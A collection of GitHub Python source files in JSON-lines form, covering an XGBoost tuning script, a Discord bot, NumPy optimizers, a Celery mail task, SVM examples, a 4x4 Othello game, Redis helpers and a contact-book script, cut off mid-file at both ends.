dataset_manager.get_pos_case_length_quantile(data, 0.95))\nelif dataset_name == \"uwv\" or dataset_name == \"bpic2018\":\n max_prefix_length = dataset_manager.get_pos_case_length_quantile(data, 0.9)\nelse:\n max_prefix_length = min(40, dataset_manager.get_pos_case_length_quantile(data, 0.95))\n\ncls_encoder_args = {'case_id_col': dataset_manager.case_id_col, \n 'static_cat_cols': dataset_manager.static_cat_cols,\n 'static_num_cols': dataset_manager.static_num_cols, \n 'dynamic_cat_cols': dataset_manager.dynamic_cat_cols,\n 'dynamic_num_cols': dataset_manager.dynamic_num_cols, \n 'fillna': True}\n \n# split into training and test\ntrain, _ = dataset_manager.split_data_strict(data, train_ratio, split=\"temporal\")\n \n# generate data where each prefix is a separate instance\ndt_prefixes = dataset_manager.generate_prefix_data(train, min_prefix_length, max_prefix_length)\n\n# encode all prefixes\nfeature_combiner = FeatureUnion([(method, EncoderFactory.get_encoder(method, **cls_encoder_args)) for method in [\"static\", \"agg\"]])\nX_all = feature_combiner.fit_transform(dt_prefixes)\ny_all = np.array(dataset_manager.get_label_numeric(dt_prefixes))\n\n# generate dataset that will enable easy splitting for CV - to guarantee that prefixes of the same case will remain in the same chunk\ncase_ids = dt_prefixes.groupby(dataset_manager.case_id_col).first()[\"orig_case_id\"]\ndt_for_splitting = pd.DataFrame({dataset_manager.case_id_col: case_ids, dataset_manager.label_col: y_all}).drop_duplicates()\n\nprint('Optimizing parameters...')\n\nspace = {#'n_estimators': hp.choice('n_estimators', np.arange(150, 1000, dtype=int)),\n 'learning_rate': hp.uniform(\"learning_rate\", 0, 1),\n 'subsample': hp.uniform(\"subsample\", 0.5, 1),\n 'max_depth': scope.int(hp.quniform('max_depth', 4, 30, 1)),\n 'colsample_bytree': hp.uniform(\"colsample_bytree\", 0.5, 1),\n 'min_child_weight': scope.int(hp.quniform('min_child_weight', 1, 6, 1))}\n\ntrials = Trials()\nbest = fmin(create_and_evaluate_model, space, algo=tpe.suggest, max_evals=10, trials=trials)\n\nbest_params = hyperopt.space_eval(space, best)\n\noutfile = os.path.join(params_dir, \"optimal_params_xgboost_%s.pickle\" % (dataset_name))\n# write to file\nwith open(outfile, \"wb\") as fout:\n pickle.dump(best_params, fout)\n","repo_name":"mshoush/Prescriptive-monitoring-Causal-Inference","sub_path":"predicitive_and_prescriptive/optimize_params_xgboost.py","file_name":"optimize_params_xgboost.py","file_ext":"py","file_size_in_byte":4582,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"67"} +{"seq_id":"25379780540","text":"import logging\n\nimport discord\nfrom discord.ext import commands\nfrom discord.voice_client import VoiceClient\n\nVoiceClient.warn_nacl = False\n\n\nclass ARBot(commands.AutoShardedBot):\n \"\"\"\n Autorooms bot\n \"\"\"\n\n def __init__(self, *args, initial_exts: tuple = None, **kwargs):\n self.uptime = None\n self.initial_extensions = initial_exts or (\n \"autorooms.extensions.autorooms\",\n \"autorooms.extensions.info\",\n )\n self.invite_link = None\n super().__init__(*args, command_prefix=commands.when_mentioned, **kwargs)\n\n async def on_ready(self):\n if self.uptime is not None:\n return\n\n for extension in self.initial_extensions:\n try:\n self.load_extension(extension)\n except discord.ClientException as e:\n logging.exception(e)\n\n await self.change_presence(\n status=discord.Status.online,\n activity=discord.Game(name='mention me with \"help\" for help'),\n )\n data = await self.application_info()\n perms = discord.Permissions(permissions=16796688)\n self.invite_link = discord.utils.oauth_url(data.id, permissions=perms)\n print(f\"Use this link to add the bot to your server: {self.invite_link}\")\n","repo_name":"alanissak/autorooms","sub_path":"autorooms/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28315883116","text":"import numpy as np\n\n\nclass Momentum:\n\n def __init__(self, lr=0.01, momentum=0.9):\n self.lr = lr\n self.momentum = momentum\n self.v = None\n\n #字典的 keys() 和 values() 和items()方法\n # 键 值 键-值对\n\n #params 保存权重和偏置\n def update(self, params, grads):\n\n if self.v is None:\n # 初始化时,v中什么都不保存,但当第一次调用update()时,\n # v会以字典型变量的形式保存与参数结构相同的数据\n self.v = {}\n for key, val in params.items():\n self.v[key] = np.zeros_like(val)\n\n for key in params.keys():\n self.v[key] = self.momentum * self.v[key] - self.lr * grads[key]\n params[key] += self.v[key]\n\n\nclass AdaGrad:\n def __init__(self, lr=0.01):\n self.lr = lr\n self.h = None\n\n def update(self, params, grads):\n if self.h is None:\n self.h = {}\n for key, val in params.items():\n self.h[key] = np.zeros_like(val)\n\n for key in params.keys():\n self.h[key] += grads[key] * grads[key]\n params[key] -= self.lr * grads[key] / (np.sqrt(self.h[key]) + 1e-7)\n\n\n#Adam设置3个超参数,一个学习率,另外两个是一次momentum系数 和二次momentum系数\n#根据论文设定值 0.9 0.999\n","repo_name":"tangkangtai/pythonProject3","sub_path":"com/deepLearning/py06/optimizer.py","file_name":"optimizer.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23578951899","text":"from django.contrib.auth import get_user_model\nfrom django.core.mail import send_mail\nfrom celery_with_django import settings\nfrom celery import shared_task\n\n@shared_task(bind=True)\ndef send_mail_func(self):\n #operations\n users = get_user_model().objects.all()\n for user in users:\n mail_subject = 'Hello, {}'.format(user.first_name)\n mail_body = 'This is a test mail {}'.format(user.last_name)\n to_email = user.email\n send_mail(\n subject=mail_subject,\n message=mail_body, \n from_email=settings.EMAIL_HOST_USER,\n recipient_list=[to_email],\n fail_silently=True\n )\n return \"Done\"","repo_name":"mrkaushal/celery_with_django","sub_path":"send_mail_app/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38877175512","text":"'''\n답안 참고\n1. 시간복잡도: O(numRows ** 2) => 파스칼 안에 하나의 원소로 들어가는 리스트의 개수(numRows) * 하나 리스트 만들 때 최대 numRows 길이만큼의 연산을 한다.\n2. 공간복잡도: O(numRows ** 2 ) => res에 들어가는 총 원소 수의 평균 공간 복잡도는 numRows의 제곱\n\nRuntime: 36 ms, faster than 70.62% of Python3 online submissions for Pascal's Triangle.\nMemory Usage: 13.9 MB, less than 68.26% of Python3 online submissions for Pascal's Triangle.\n'''\n\nclass Solution:\n def generate(self, numRows: int) -> List[List[int]]:\n res = [[1]]\n for i in range(1, numRows):\n temp1 = res[-1] + [0]\n # print(\"temp1 is \", temp1)\n temp2 = [0] + res[-1]\n # print(\"temp2 is \", temp2)\n res.append([temp1[i] + temp2[i] for i in range(len(temp1))])\n # print(\"res: \", res)\n return res[:numRows]","repo_name":"woonys/coding__test","sub_path":"leetcode/Python/118. Pascal's Triangle.py","file_name":"118. Pascal's Triangle.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30446564939","text":"from datetime import date, datetime\n\nimport pandas as pd\n\nfrom sdmetrics.reports.multi_table.quality_report import QualityReport\n\n\ndef load_test_data():\n real_data = {\n 'table1': pd.DataFrame({\n 'col1': [0, 1, 2, 3],\n 'col2': ['a', 'b', 'c', 'd'],\n 'col3': [True, False, False, True],\n }),\n 'table2': pd.DataFrame({\n 'col4': [\n datetime(2020, 10, 1),\n datetime(2021, 1, 2),\n datetime(2021, 9, 12),\n datetime(2022, 10, 1),\n ],\n 'col5': [date(2020, 9, 13), date(2020, 12, 1), date(2021, 1, 12), date(2022, 8, 13)],\n 'col6': [0, 1, 1, 0],\n 'col7': [0.1, 0.2, 0.3, 0.4],\n }),\n }\n\n synthetic_data = {\n 'table1': pd.DataFrame({\n 'col1': [0, 2, 2, 3],\n 'col2': ['a', 'c', 'c', 'b'],\n 'col3': [False, False, False, True],\n }),\n 'table2': pd.DataFrame({\n 'col4': [\n datetime(2020, 11, 4),\n datetime(2021, 2, 1),\n datetime(2021, 8, 1),\n datetime(2022, 12, 1),\n ],\n 'col5': [date(2020, 10, 13), date(2020, 2, 4), date(2021, 3, 11), date(2022, 7, 23)],\n 'col6': [0, 1, 1, 0],\n 'col7': [0.1, 0.2, 0.3, 0.4],\n }),\n }\n\n metadata = {\n 'tables': {\n 'table1': {\n 'fields': {\n 'col1': {'type': 'id'},\n 'col2': {'type': 'categorical'},\n 'col3': {'type': 'boolean'},\n },\n },\n 'table2': {\n 'fields': {\n 'col4': {'type': 'datetime', 'format': '%Y-%m-%d'},\n 'col5': {'type': 'datetime', 'format': '%Y-%m-%d'},\n 'col6': {'type': 'id', 'ref': {'table': 'table1', 'field': 'col1'}},\n 'col7': {'type': 'numerical', 'subtype': 'float'},\n },\n }\n }\n }\n\n return (real_data, synthetic_data, metadata)\n\n\ndef test_multi_table_quality_report():\n \"\"\"Test the multi table quality report.\"\"\"\n real_data, synthetic_data, metadata = load_test_data()\n\n report = QualityReport()\n report.generate(real_data, synthetic_data, metadata)\n\n properties = report.get_properties()\n pd.testing.assert_frame_equal(properties, pd.DataFrame({\n 'Property': ['Column Shapes', 'Column Pair Trends', 'Parent Child Relationships'],\n 'Score': [0.8, 0.6704734340781349, 0.75],\n }))\n","repo_name":"psr6275/TSAEval","sub_path":"sdmetrics/tests/integration/reports/multi_table/test_multi_table_quality_report.py","file_name":"test_multi_table_quality_report.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40061698175","text":"##Othello\n##class Board\n\n##Python 3.7.2\n\nimport numpy as np\nfrom copy import deepcopy\nimport random\nimport sys\n#import time\n\n\n## make initial Othello board\ninitial_board_44 = np.array([[9,9,9,9,9,9],[9,3,3,3,3,9],[9,3,1,0,3,9],[9,3,0,1,3,9],[9,3,3,3,3,9],[9,9,9,9,9,9]])\n# 0 : your disks\n# 1 : opponent's disks\n# 3 : empty space\n# 9 : out of board\n\n##==================\n##variables\ninitial_board = deepcopy(initial_board_44)\nBOARD_SIZE = 6\n##------------------\n\n\nclass Board():\n\tdef print_board(self,board):\n\t\tboard = board.astype(np.int64)\n\t\tconvert_dict = {0:b\"\\\\u25cb\", 1:b\"\\\\u25cf\", 3:b\" \", 9:b\"\"} ## check the color of your terminal window\n\t\tconverted_board = [[(convert_dict[board[i][j]]).decode('unicode-escape') for j in range(BOARD_SIZE)] for i in range(BOARD_SIZE)]\n\t\tfor j in range(BOARD_SIZE):\n\t\t\tprint(\" \".join(converted_board[j]))\n\n\tdef playerID_2_disk(self,playerID):\n\t\treturn playerID, (playerID+1)%2\n\n\tdef playerID_2_BW(self,playerID):\n\t\tBW_dict = {0:'black', 1:'white'}\n\t\treturn BW_dict[playerID]\n\n\tdef where_flip_one_direction(self,board,move,direction,flip_arr,playerID):\n\t\tyour_disk, opponents_disk = self.playerID_2_disk(playerID)\n\t\tif board[move[0]+direction[0]][move[1]+direction[1]] == opponents_disk:\n\t\t\tnum_flip = 1\n\t\t\twhile(True):\n\t\t\t\tif board[move[0]+(num_flip+1)*direction[0]][move[1]+(num_flip+1)*direction[1]] == opponents_disk:\n\t\t\t\t\tnum_flip += 1\n\t\t\t\telif board[move[0]+(num_flip+1)*direction[0]][move[1]+(num_flip+1)*direction[1]] == your_disk:\n\t\t\t\t\t[flip_arr.append([move[0]+k*direction[0],move[1]+k*direction[1]]) for k in range(1,num_flip+1)]\n\t\t\t\t\treturn flip_arr\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tbreak\n\t\treturn flip_arr\n\n\tdef where_flip_all_direction(self,board,move,playerID):\n\t\tarr_direction = np.array([[-1,-1],[-1,0],[-1,1],[0,-1],[0,1],[1,-1],[1,0],[1,1]])\n\t\tflip_arr = []\n\t\tfor k in range(8):\n\t\t\tflip_arr = deepcopy(self.where_flip_one_direction(board,move,arr_direction[k].astype(np.int64),flip_arr,playerID))\n\t\treturn flip_arr\n\n\tdef flip_board(self,board,move,flip_arr,playerID):\n\t\tnew_board = deepcopy(board)\n\t\tif any(flip_arr):\n\t\t\tnew_board[move[0]][move[1]] = playerID\n\t\t\tfor i in range(len(flip_arr)):\n\t\t\t\tnew_board[int(flip_arr[i][0])][int(flip_arr[i][1])] = playerID\n\t\treturn new_board\n\n\tdef XY_line_to_board(self,XY_line):\n\t\tnum_move = int(len(XY_line)/2)\n\t\tboard = deepcopy(initial_board)\n\t\tfor i in range(num_move):\n\t\t\tmove = [int(XY_line[2*i]),int(XY_line[2*i+1])]\n\t\t\tif move == [0,0]:\n\t\t\t\tcontinue\n\t\t\tplayerID = i%2\n\t\t\tflip = self.where_flip_all_direction(board,move,playerID)\n\t\t\tyour_disk, opponents_disk = self.playerID_2_disk(playerID)\n\t\t\tboard[move[0]][move[1]] = your_disk\n\t\t\tfor i in range(len(flip)):\n\t\t\t\tboard[int(flip[i][0])][int(flip[i][1])] = your_disk\n\t\treturn board\n\n\tdef board_to_base10(self,board):\n\t\tboard = board.astype(np.int64)\n\t\tline = ''\n\t\tfor i in range(1,BOARD_SIZE-1):\n\t\t\tfor j in range(1,BOARD_SIZE-1):\n\t\t\t\tline = line + str(board[i][j])\n\t\tbase10 = int(line,3)\n\t\treturn base10\n\n\tdef base10_to_baseN(self,n,b):\n\t\tif (int(n/b)):\n\t\t\treturn self.base10_to_baseN(int(n/b), b) + str(n%b)\n\t\treturn str(n%b)\n\n\tdef base10_to_board(self,base10):\n\t\tline = self.base10_to_baseN(int(base10),3)\n\t\tline = '3'*(BOARD_SIZE**2-len(line)) + line\n\t\tboard = 9 * np.ones((BOARD_SIZE,BOARD_SIZE))\n\t\tfor i in range(BOARD_SIZE-2):\n\t\t\tfor j in range(BOARD_SIZE-1):\n\t\t\t\tboard[i+1][j+1] = line[i*4+j]\n\t\treturn board\n\n\tdef is_no_empty(self,board):\n\t\treturn not (board == 3).any()\n\n\tdef is_no_opponent(self,board,playerID):\n\t\tyour_disk, opponents_disk = self.playerID_2_disk(playerID)\n\t\treturn not (board == opponents_disk).any()\n\n\tdef is_double_pass_XY(self,pre_XY):\n\t\tboolean = (pre_XY[-2:] == '00')\n\t\treturn boolean\n\n\tdef is_double_pass_board(self,board):\n\t\tfor X in range(1,BOARD_SIZE-1):\n\t\t\tfor Y in range(1,BOARD_SIZE-1):\n\t\t\t\tif board[X][Y] != 3:\n\t\t\t\t\tcontinue\n\t\t\t\tvar0 = self.where_flip_all_direction(board,[X,Y],0)\n\t\t\t\tvar1 = self.where_flip_all_direction(board,[X,Y],1)\n\t\t\t\tif any([len(var0),len(var1)]):\n\t\t\t\t\treturn False\n\t\treturn True\n\n\tdef is_finish_board(self,board):\n\t\treturn self.is_no_empty(board) or self.is_double_pass_board(board)\n\n\tdef where_movable(self,board,playerID):\n\t\tmove_arr = []\n\t\tfor X in range(1,BOARD_SIZE-1):\n\t\t\tfor Y in range(1,BOARD_SIZE-1):\n\t\t\t\tif board[X][Y] != 3:\n\t\t\t\t\tcontinue\n\t\t\t\tflip = self.where_flip_all_direction(board,[X,Y],playerID)\n\t\t\t\tif any(flip):\n\t\t\t\t\tmove_arr.append([X,Y])\n\t\treturn move_arr\n\n\tdef board_2_score(self,board):\n\t\tblack = np.sum(board == 0)\n\t\twhite = np.sum(board == 1)\n\t\tempty = np.sum(board == 3)\n\t\tscore = black - white\n\t\treturn score + (score>0)*empty - (score<0)*empty\n\n\tdef get_move_from_input(self,board,playerID):\n\t\twhile True:\n\t\t\tnext_move = str(input(\"type next move >> \"))\n\t\t\tif (len(next_move) == 2) and next_move.isdigit():\n\t\t\t\tX = int(next_move[0])\n\t\t\t\tY = int(next_move[1])\n\t\t\t\tif (X > 0) and (X < 5) and (Y > 0) and (Y < 5):\n\t\t\t\t\tflip_arr = self.where_flip_all_direction(board,[X,Y],playerID)\n\t\t\t\t\tif (board[X][Y] == 3) and any(flip_arr):\n\t\t\t\t\t\treturn [X,Y]\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint('you cannot move there')\n\t\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\tprint('type XY (1<=X<=4, 1<=Y<=4)')\n\t\t\t\t\tcontinue\n\t\t\telif next_move in [\"exit\",\"quit\"]:\n\t\t\t\tprint('This program was finished ...')\n\t\t\t\tsys.exit()\n\t\t\telif next_move == \"board\":\n\t\t\t\tself.print_board(board)\n\t\t\t\tcontinue\n\t\t\telif next_move == \"where\":\n\t\t\t\tprint(self.where_movable(board,playerID))\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tprint('type XY (type ''exit'', then finish)')\n\t\t\t\tcontinue\n\t## improve above def so as to be able to select \"matta\"\n\n\tdef play_2players_44(self):\n\t\tboard = deepcopy(initial_board_44)\n\t\tself.print_board(initial_board_44)\n\t\tnth_move = 0\n\t\tpre_XY = ''\n\t\twhile True:\n\t\t\tif self.is_finish_board(board): ##finish\n\t\t\t\t##result\n\t\t\t\tprint(\"result\")\n\t\t\t\tscore = self.board_2_score(board)\n\t\t\t\tprint('score =', score)\n\t\t\t\tsys.exit()\n\t\t\tplayerID = nth_move%2\n\t\t\tyour_disk, opponents_disk = self.playerID_2_disk(playerID)\n\t\t\tprint(\"player: \",self.playerID_2_BW(playerID))\n\t\t\tif not any(self.where_movable(board,playerID)): ## if pass\n\t\t\t\tnth_move += 1\n\t\t\t\tpre_XY += '00'\n\t\t\t\tprint(\"PASS\\n\")\n\t\t\t\tcontinue\n\t\t\tnext_move = self.get_move_from_input(board,playerID)\n\t\t\tflip_arr = self.where_flip_all_direction(board,next_move,playerID)\n\t\t\tboard = deepcopy(self.flip_board(board,next_move,flip_arr,playerID))\n\t\t\tself.print_board(board)\n\t\t\tnth_move += 1\n\t\t\tpre_XY += (str(next_move[0])+str(next_move[1]))\n\t\t\tcontinue\n\n\n#def make_first_file(self):\n#\tf_write = open('44_complete_record_1th.txt','w')\n#\tf_write.write('34,138834')\n#\tf_write.close()\n\t\t\n\ndef mk_symmetry_num_44(first_XY):\n\tsymmetry_dict_44 = {'12':1, '21':2, '34':3, '43':4}\n\treturn symmetry_dict_44[first_XY]\n\ndef symmetrical_movement_XY_44(X,Y,symmetry_num):\n\tif symmetry == 1:\n\t\treturn 5-Y, 5-X\n\telif symmetry == 2:\n\t\treturn 5-X, 5-Y\n\telif symmetry == 3:\n\t\treturn X, Y\n\telif symmetry == 4:\n\t\treturn Y, X\n\telse:\n\t\treturn False\n\ndef symmetrical_movement_board(board,symmetry):\n\tnew_board = np.zeros((BOARD_SIZE,BOARD_SIZE))\n\tfor X in range(BOARD_SIZE):\n\t\tfor Y in range(BOARD_SIZE):\n\t\t\tnew_X, new_Y = symmetrical_movement_XY(X,Y,symmetry)\n\t\t\tnew_board[new_X][new_Y] = deepcopy(board[X][Y])\n\treturn new_board\n\ndef find_next_best_with_symmetry(board,lst_best,symmetry):\n\tnew_board = symmetrical_movement_board(board,symmetry)\n\t#next_X, next_Y = find_next_best(new_board,lst_best)\n\tnext_X, next_Y = symmetrical_movement_XY(next_X,next_Y,symmetry)\n\treturn next_X, next_Y\n\n\n\nif __name__ == '__main__':\n\tBoard = Board()\n\tBoard.play_2players_44()\n\n\n","repo_name":"MiyazakiYuki/othello","sub_path":"othello_func_44.py","file_name":"othello_func_44.py","file_ext":"py","file_size_in_byte":7476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19018159194","text":"from sklearn import svm\nfrom sklearn.datasets import load_iris\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib import style\n\n\ndef plot_hyperplane(linear_svm):\n w = linear_svm.coef_[0]\n a = -w[0] / w[1]\n xx = np.linspace(4, 7)\n yy = a * xx - (linear_svm.intercept_[0]) / w[1]\n\n margin = 1 / np.sqrt(np.sum(linear_svm.coef_ ** 2))\n yy_down = yy - np.sqrt(1 + a ** 2) * margin\n yy_up = yy + np.sqrt(1 + a ** 2) * margin\n\n plt.plot(xx, yy, 'k-')\n plt.plot(xx, yy_down, 'k--')\n plt.plot(xx, yy_up, 'k--')\n\n\nstyle.use('ggplot')\n\n# create linear SVM\nlinear_svm = svm.SVC(kernel='linear')\n\n# import source data\niris = load_iris()\n\n# setup source dataframe\ndf = pd.DataFrame(iris.data, columns=iris.feature_names)\ndf['is_train'] = np.random.uniform(0, 1, len(df)) <= 0.75\ndf['species'] = pd.Categorical.from_codes(iris.target, iris.target_names)\ndf['species_codes'] = df['species'].cat.codes\n\n\n# Linear SVM: Separable - take only two classes from the iris dataset\n\n# create training set\nX_tr = df[df['is_train'] == True]\nX_tr = pd.concat([X_tr[X_tr['species_codes'] == 0], X_tr[X_tr['species_codes'] == 1]])\ny_tr = X_tr['species_codes']\n\n# create testing set\nX_tst = df[df['is_train'] == False]\nX_tst = pd.concat([X_tst[X_tst['species_codes'] == 0], X_tst[X_tst['species_codes'] == 1]])\ny_tst = X_tst['species_codes']\n\n\nlinear_svm.fit(X_tr[['sepal length (cm)', 'sepal width (cm)']].values, y_tr.values)\n\nprint(linear_svm.coef_)\n\nprint(linear_svm.intercept_)\n\nplt.scatter(X_tst[X_tst['species_codes'] == 0]['sepal length (cm)'], X_tst[X_tst['species_codes'] == 0]['sepal width (cm)'],\n marker='o', c='green', s=64)\nplt.scatter(X_tst[X_tst['species_codes'] == 1]['sepal length (cm)'], X_tst[X_tst['species_codes'] == 1]['sepal width (cm)'],\n marker='s', c='green', s=64)\n\nplt.scatter(X_tr[X_tr['species_codes'] == 0]['sepal length (cm)'], X_tr[X_tr['species_codes'] == 0]['sepal width (cm)'],\n marker='o', c='blue', s=64)\nplt.scatter(X_tr[X_tr['species_codes'] == 1]['sepal length (cm)'], X_tr[X_tr['species_codes'] == 1]['sepal width (cm)'],\n marker='s', c='blue', s=64)\n\nplot_hyperplane(linear_svm)\n\nplt.show()\n\nprint(linear_svm.score(X_tst[['sepal length (cm)', 'sepal width (cm)']].values, y_tst))\n\n# Linear SVM: Nonseparable Case\n\n# change the data a bit to create a non-separable case\n\ny_tr.iloc[0] = 1\ny_tr.iloc[len(y_tr)-1] = 0\n\n# create linear SVM with larger slack boundaries\nlinear_svm_slack = svm.SVC(kernel='linear', C=0.05)\n\nlinear_svm_slack.fit(X_tr[['sepal length (cm)', 'sepal width (cm)']].values, y_tr.values)\n\nplt.scatter(X_tr[X_tr['species_codes'] == 0]['sepal length (cm)'], X_tr[X_tr['species_codes'] == 0]['sepal width (cm)'],\n marker='o', c='blue', s=64)\nplt.scatter(X_tr[X_tr['species_codes'] == 1]['sepal length (cm)'], X_tr[X_tr['species_codes'] == 1]['sepal width (cm)'],\n marker='s', c='green', s=64)\n\nplot_hyperplane(linear_svm_slack)\n\nplt.show()\n\nprint(linear_svm_slack.score(X_tr[['sepal length (cm)', 'sepal width (cm)']].values, y_tr))\n\n# Nonlinear SVM\n\n# first some helper functions\n\ndef make_meshgrid(x, y, h=.02):\n x_min, x_max = x.min() - 1, x.max() + 1\n y_min, y_max = y.min() - 1, y.max() + 1\n xx, yy = np.meshgrid(np.arange(x_min, x_max, h),\n np.arange(y_min, y_max, h))\n return xx, yy\n\n\ndef plot_contours(clf, xx, yy, **params):\n Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])\n Z = Z.reshape(xx.shape)\n plt.contourf(xx, yy, Z, **params)\n\n# change the data back\ny_tr.iloc[0] = 0\ny_tr.iloc[len(y_tr)-1] = 1\n\n# create nonlinear svm\nnonlinear_svm = svm.SVC(kernel='rbf', gamma=0.7, C=1.0)\n\n# fit the data\nnonlinear_svm.fit(X_tr[['sepal length (cm)', 'sepal width (cm)']].values, y_tr)\n\n# create meshgrid for plotting decision boundaries\nX0, X1 = X_tr['sepal length (cm)'], X_tr['sepal width (cm)']\nxx, yy = make_meshgrid(X0, X1)\n\nplot_contours(nonlinear_svm, xx, yy, cmap=plt.cm.coolwarm, alpha=0.2)\n\nplt.scatter(X_tr[X_tr['species_codes'] == 0]['sepal length (cm)'], X_tr[X_tr['species_codes'] == 0]['sepal width (cm)'],\n marker='o', c='blue', s=64)\nplt.scatter(X_tr[X_tr['species_codes'] == 1]['sepal length (cm)'], X_tr[X_tr['species_codes'] == 1]['sepal width (cm)'],\n marker='s', c='green', s=64)\n\nplt.show()\n\n","repo_name":"maj-personal-repos/CAP5771","sub_path":"Notebooks/4 - Classification/ex4 - support vector machines.py","file_name":"ex4 - support vector machines.py","file_ext":"py","file_size_in_byte":4347,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"72010728214","text":"from flask import current_app\nimport redis\n\n\ndef connect_redis(unix_socket_path, host, port, db):\n \"\"\"\n >>> from r5d4.test_settings import (REDIS_UNIX_SOCKET_PATH,\n ... REDIS_HOST, REDIS_PORT, CONFIG_DB)\n >>> connect_redis(REDIS_UNIX_SOCKET_PATH, REDIS_HOST, REDIS_PORT,\n ... CONFIG_DB) is not None\n True\n\n >>> connect_redis(\"/tmp/unknown.sock\", REDIS_HOST, REDIS_PORT,\n ... CONFIG_DB) is not None\n True\n\n >>> connect_redis(REDIS_UNIX_SOCKET_PATH, \"unknown\", 666,\n ... CONFIG_DB) is not None\n True\n\n >>> connect_redis(\"/tmp/unknown.sock\", \"unknown\", 666,\n ... CONFIG_DB) is not None\n False\n \"\"\"\n\n # Try connecting through UNIX socket\n settings = {\n \"unix_socket_path\": unix_socket_path,\n \"db\": db\n }\n try:\n r = redis.Redis(**settings)\n r.ping()\n return r\n except redis.exceptions.ConnectionError:\n pass\n\n # Fallback, try TCP connection\n settings = {\n \"host\": host,\n \"port\": port,\n \"db\": db\n }\n try:\n r = redis.Redis(**settings)\n r.ping()\n return r\n except redis.exceptions.ConnectionError:\n # No more fallbacks\n return None\n\n\ndef get_conf_db(app=current_app, exclusive=False):\n if not exclusive and hasattr(app, 'conf_db'):\n return app.conf_db\n else:\n new_conn = connect_redis(\n unix_socket_path=app.config[\"REDIS_UNIX_SOCKET_PATH\"],\n host=app.config[\"REDIS_HOST\"],\n port=app.config[\"REDIS_PORT\"],\n db=app.config[\"CONFIG_DB\"]\n )\n if not exclusive:\n app.conf_db = new_conn\n return new_conn\n\n\ndef get_data_db(data_db=None, app=current_app):\n if data_db is None:\n data_db = app.config[\"DEFAULT_DATA_DB\"]\n return connect_redis(\n unix_socket_path=app.config[\"REDIS_UNIX_SOCKET_PATH\"],\n host=app.config[\"REDIS_HOST\"],\n port=app.config[\"REDIS_PORT\"],\n db=data_db\n )\n","repo_name":"practo/r5d4","sub_path":"r5d4/flask_redis.py","file_name":"flask_redis.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"21804076453","text":"\nimport os\nimport re\nimport json\n\n\ndef read_book(book_dict, rev_book_dict):\n if not os.path.exists('Contact_Book.json'):\n print('no current book to read')\n exit()\n phone_num_regex = re.compile(r'\\d\\d\\d\\d\\d\\d\\d\\d\\d\\d')\n\n if not os.path.exists('Contact_Book.json'):\n print('no current book to read')\n\n while True:\n search_input = input('who do you want to search for\\n(enter full name or number(no spaces))\\nif you want to '\n 'display whole book '\n 'press enter\\nwhen done then type done\\n')\n phone_num = phone_num_regex.search(search_input)\n if search_input == 'done':\n break\n if phone_num:\n rev_book = open('Contact_Book_Rev.json', 'r')\n rev_book_dict = json.load(rev_book)\n rev_searched_item = rev_book_dict.get(search_input)\n print(f'The Name for {search_input} is {rev_searched_item}\\n\\n')\n else:\n if search_input:\n book = open('Contact_Book.json', 'r')\n book_dict = json.load(book)\n searched_item = book_dict.get(search_input)\n print(f'The Number for {search_input} is {searched_item}\\n\\n')\n else:\n book = open('Contact_Book.json', 'r')\n book_dict = json.load(book)\n print(json.dumps(book_dict, indent=2))\n\n\n\n\n\n\n\ndef write_book(book_dict, rev_book_dict):\n phone_num_regex = re.compile(r'\\d\\d\\d\\d\\d\\d\\d\\d\\d\\d')\n while True:\n num_list = []\n name_list = []\n print('when done giving name and number then press enter when asked whats the name')\n while True:\n name_input = input('whats the name\\n')\n if not name_input:\n break\n number_input = input('whats the number\\n(no spaces or dashes)\\n')\n phone_num = phone_num_regex.search(number_input)\n if not phone_num:\n print('not a valid phone number')\n exit()\n num_list.append(number_input)\n name_list.append(name_input)\n if len(name_list) != len(num_list):\n print('error\\nnot all names have a number')\n exit()\n if os.path.exists('Contact_Book.json'):\n if os.stat('Contact_Book.json').st_size == 0:\n book_dict = {}\n rev_book_dict = {}\n else:\n rev_book = open('Contact_Book_Rev.json', 'r')\n book = open('Contact_Book.json', 'r')\n book_dict = json.load(book)\n rev_book_dict = json.load(rev_book)\n rev_book.close()\n book.close()\n book = open('Contact_Book.json', 'w')\n rev_book = open('Contact_Book_Rev.json', 'w')\n name_num_list = zip(name_list,num_list)\n for name, num in name_num_list:\n book_dict[name] = num\n rev_book_dict[num] = name\n f = json.dumps(book_dict, indent=2)\n g = json.dumps(rev_book_dict, indent=2)\n book.write(f)\n rev_book.write(g)\n book.close()\n rev_book.close()\n break\n elif not os.path.exists('Contact_Book.json'):\n book = open('Contact_Book.json', 'w')\n rev_book = open('Contact_Book_Rev.json', 'w')\n name_num_list = zip(name_list, num_list)\n for name, num in name_num_list:\n book_dict[name] = num\n rev_book_dict[num] = name\n f = json.dumps(book_dict, indent=2)\n g = json.dumps(rev_book_dict, indent=2)\n rev_book.write(g)\n book.write(f)\n book.close()\n rev_book.close()\n break\n\n\nrev_book_dic = {}\nbook_dic = {}\nwhile True:\n read_write = input('do ya wanna read or write to the book\\nr for read, w for write\\n')\n if read_write == 'r':\n read_book(book_dic, 